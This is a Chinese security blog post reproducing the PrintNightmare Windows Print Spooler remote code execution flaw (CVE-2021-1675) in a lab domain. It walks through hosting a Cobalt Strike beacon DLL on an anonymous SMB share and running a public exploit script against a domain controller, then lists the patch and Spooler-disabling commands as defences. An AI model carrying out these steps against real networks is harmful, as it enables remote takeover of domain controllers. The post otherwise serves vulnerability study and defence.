CVE-2021-1675 Windows Spooler Service RCE复现

admin 2021年8月2日22:16:51评论355 views字数 1157阅读3分51秒阅读模式

复现漏洞利用的Windows版本是Windows Server 2019 Version 1809,使用了 https://github.com/cube0x0/CVE-2021-1675 项目的python版本exp。

测试流程

经过反复测试后,发现远程命令执行需要满足一些条件:

  1. 创建的smb服务允许匿名访问。
  2. 验证使用普通域用户的用户名和密码。
  3. 需要在域环境内。

首先在域控上添加一个普通域用户,设置用户名和密码

CVE-2021-1675 Windows Spooler Service RCE复现


因为spoolsv.exe是x64的,所以我们这里Cobalt Strike也生成x64的dll

CVE-2021-1675 Windows Spooler Service RCE复现


按照 https://github.com/cube0x0/CVE-2021-1675 的smb设置方法,在域内一台主机上提供匿名访问权限的共享文件

CVE-2021-1675 Windows Spooler Service RCE复现


在域内的其他主机上放置好生成的artifact.dll,设置分享目录并允许匿名访问,在域控上必须能直接获取到文件

CVE-2021-1675 Windows Spooler Service RCE复现


使用exp,参数分别是刚才创建的新域用户的用户名和密码,还有DC的ip,最后是smb共享文件的路径

python CVE-2021-1675.py testUser:[email protected] \192.168.92.130shareartifact.dll

这里会遇到一些坑,如果报错 Error: code: 0x5 - rpc_s_access_denied 说明smb还不能匿名访问,如果连续执行成功,但是只复制了dll并未执行,可能是验证用户不是普通域用户账号。

使用Procmon发现测试用的 artifact.dll 已经被spoolsv.exe加载:

CVE-2021-1675 Windows Spooler Service RCE复现


上线成功

CVE-2021-1675 Windows Spooler Service RCE复现


防御方法

安装微软 CVE-2021-1675 漏洞补丁

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675

关闭打印机服务

Stop-Service Spooler
REG ADD  "HKLMSYSTEMCurrentControlSetServicesSpooler"  /v "Start " /t REG_DWORD /d "4" /f

参考文章和项目

  • https://github.com/cube0x0/CVE-2021-1675
  • https://github.com/afwu/PrintNightmare
  • https://blog.csdn.net/ShelleyLiu0415/article/details/47836855
  • http://noahblog.360.cn/cve-2021-1675/
  • https://github.com/cube0x0/CVE-2021-1675/issues/19


本文始发于微信公众号(宽字节安全):CVE-2021-1675 Windows Spooler Service RCE复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日22:16:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-1675 Windows Spooler Service RCE复现http://cn-sec.com/archives/412281.html

发表评论

匿名网友 填写信息